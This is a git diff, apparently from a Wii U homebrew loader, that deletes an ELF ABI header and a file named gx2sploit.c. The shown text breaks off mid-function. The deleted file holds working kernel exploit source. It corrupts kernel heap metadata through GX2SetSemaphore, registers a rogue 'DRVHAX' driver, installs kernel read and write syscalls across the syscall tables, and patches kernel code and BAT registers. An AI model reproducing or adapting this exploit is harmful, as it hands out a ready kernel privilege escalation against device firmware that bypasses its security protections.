Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/src/kernel/gx2sploit.c b/src/kernel/gx2sploit.c deleted file mode 100644 index e0a0d92..0000000 --- a/src/kernel/gx2sploit.c +++ /dev/null @@ -1,412 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "common/common.h" -#include "utils/logger.h" -#include "elf_abi.h" -#include "../../sd_loader/sd_loader.h" - -#define JIT_ADDRESS 0x01800000 - -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 - -#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown -#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games -#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader -#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu -#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - -#define KERN_CODE_READ 0xFFF023D4 -#define KERN_CODE_WRITE 0xFFF023F4 -#define KERN_DRVPTR 0xFFEAB530 -#define KERN_ADDRESS_TBL 0xFFEAB7A0 - -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -#define BAT_SETUP_HOOK_ADDR 0xFFF1D624 -#define BAT_SETUP_HOOK_ENTRY 0x00800000 -#define BAT4U_VAL 0x008000FF -#define BAT4L_VAL 0x30800012 - -#define BAT_SET_NOP_ADDR_1 0xFFF06B6C -#define BAT_SET_NOP_ADDR_2 0xFFF06BF8 -#define BAT_SET_NOP_ADDR_3 0xFFF003C8 -#define BAT_SET_NOP_ADDR_4 0xFFF003CC -#define BAT_SET_NOP_ADDR_5 0xFFF1D70C -#define BAT_SET_NOP_ADDR_6 0xFFF1D728 -#define BAT_SET_NOP_ADDR_7 0xFFF1D82C - -#define BAT_SET_NOP_ADDR_8 0xFFEE11C4 -#define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - - -#define ADDRESS_main_entry_hook 0x0101c56c -#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 - -#define address_LiWaitIopComplete 0x01010180 -#define address_LiWaitIopCompleteWithInterrupts 0x0101006C -#define address_LiWaitOneChunk 0x0100080C -#define address_PrepareTitle_hook 0xFFF184E4 -#define address_sgIsLoadingBuffer 0xEFE19E80 -#define address_gDynloadInitialized 0xEFE13DBC - -#define NOP_ADDR(addr) \ - *(u32*)addr = 0x60000000; \ - asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31)); - - -extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2); -extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); -extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr); - -extern void SC0x25_SetupSyscall(void); -extern unsigned int SC0x65_ExploitCheck(unsigned int in); - -/* Find a gadget based on a sequence of words */ -static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Failed to find gadget!"); - return NULL; -} - -/* Chadderz's kernel write function */ -static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} - -int exploitThread(int argc, char **argv) -{ - OSDynLoadModule gx2_handle; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - void (*pGX2SetSemaphore)(uint64_t *sem, int action); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore); - uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C; - - u32 gx2_init_attributes[9]; - u8 *gx2CommandBuffer = (u8*)memalign(0x40, 0x400000); - - gx2_init_attributes[0] = 1; - gx2_init_attributes[1] = (u32)gx2CommandBuffer; - gx2_init_attributes[2] = 2; - gx2_init_attributes[3] = 0x400000; - gx2_init_attributes[4] = 7; - gx2_init_attributes[5] = 0; - gx2_init_attributes[6] = 8; - gx2_init_attributes[7] = 0; - gx2_init_attributes[8] = 0; - GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk) - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find stuff */ - uint32_t gx2data[] = {0xfc2a0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14; - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); - set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr); - do_flush(0x100, 1); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Setup kernel memmap for further exploitation (will be reverted later) */ - kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000); - kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800); - - /* Setup kernel read/write in every application */ - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x35 * 4)), KERN_CODE_WRITE); - - /* clean shutdown */ - GX2Shutdown(); - free(gx2CommandBuffer); - return 0; -} - -static void setup_syscall(void) -{ - // set kernel code area write permissions - asm volatile("mtspr 570, %0" : : "r" (0xFFF00002)); - asm volatile("mtspr 571, %0" : : "r" (0xFFF00032)); - asm volatile("eieio; isync"); - - u32 *targetAddress = (u32*)BAT_SETUP_HOOK_ADDR; - targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h - targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l - targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7 - targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h - targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l - targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7 - targetAddress[6] = 0x7c0006ac; // eieio - targetAddress[7] = 0x4c00012c; // isync - targetAddress[8] = 0x7ce802a6; // mflr r7 - targetAddress[9] = 0x48000003 | (u32)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY - asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31)); - asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)); - - NOP_ADDR(BAT_SET_NOP_ADDR_1); - NOP_ADDR(BAT_SET_NOP_ADDR_2); - NOP_ADDR(BAT_SET_NOP_ADDR_3); - NOP_ADDR(BAT_SET_NOP_ADDR_4); - NOP_ADDR(BAT_SET_NOP_ADDR_5); - NOP_ADDR(BAT_SET_NOP_ADDR_6); - NOP_ADDR(BAT_SET_NOP_ADDR_7); - - u32 addr_syscall_0x65 = *(u32*)(KERN_SYSCALL_TBL_2 + 0x65 * 4); - *(u32*)addr_syscall_0x65 = 0x3C60B00B; // lis r3, 0xB00B - asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (addr_syscall_0x65 & ~31)); - - asm volatile("eieio; isync"); - asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002)); - asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032)); - asm volatile("eieio; isync"); - - NOP_ADDR(BAT_SET_NOP_ADDR_8); - NOP_ADDR(BAT_SET_NOP_ADDR_9); - - asm volatile("sync; eieio; isync"); - asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL)); - asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL)); - asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL)); - asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL)); - asm volatile("eieio; isync"); -} - -static unsigned int get_section(const unsigned char *data, const char *name, unsigned int * size, unsigned int * addr) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - OSFatal("Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i 